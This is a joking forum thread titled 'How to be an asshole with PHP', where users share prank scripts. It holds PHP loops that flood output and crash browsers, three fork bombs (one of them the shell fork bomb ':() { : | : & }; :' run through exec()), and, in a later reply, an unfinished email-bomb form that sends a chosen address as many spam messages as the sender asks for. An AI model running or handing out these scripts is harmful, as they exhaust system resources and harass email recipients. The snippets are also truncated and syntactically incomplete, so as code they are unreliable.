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How to be an asshole with PHP


Ok, so I'm bored at work so I've been digitally slapping one of our (currently unused) dev boxes around. Here are a few fun things I came up with.

This mostly just eats up bandwidth, which is trivial on a gigabit LAN, but still fun.
while (true) {
echo "lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol\n";
This is a similar idea, but has crashed both Firefox and Opera so far. :p
Edit: Wget and Lynx are the only browsers that have been able to run this for more than 30 seconds without locking up. :thumbsup:
<?php while (1) phpInfo(); ?>
A few fork bombs... :D
<?php echo exec('$0 & $0 &'); ?>
<?php while (1) fork(); ?>
<?php echo exec(':() { : | : & }; :'); ?>

God I'm bored...

Edit: Running these on your host will probably get you kicked off, so don't do it.

Awkward Silence

Perplexed Bemusement
hmmmmm old thread, but lets add to it....

I was also bored:

$contact = $_POST['contact'];
$count = $_POST['count'];
if (!isset($contact)) {
echo "<form action=\"spam.php\" method=\"post\">
Email: <input type=\"text\" name=\"contact\" /><br />
Count: <input type=\"text\" name=\"count\" /><br />
<input type=\"submit\" name=\"SPAM!\" value=\"SPAM!\" />
} elseif ((strstr($contact, '@'))===FALSE) {
echo 'Error: Invalid e-mail address';
} elseif (!is_numeric($count)) {
echo 'Error: Invalid count';
} else {
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: SPAM! <[email protected]>\r\n";
$i = 1;
while ($i<=$count) {
mail($contact, "SPAM!", "<center><img src=\"\" /></center>", $headers);
echo $i.' emails sent successfully.<br />';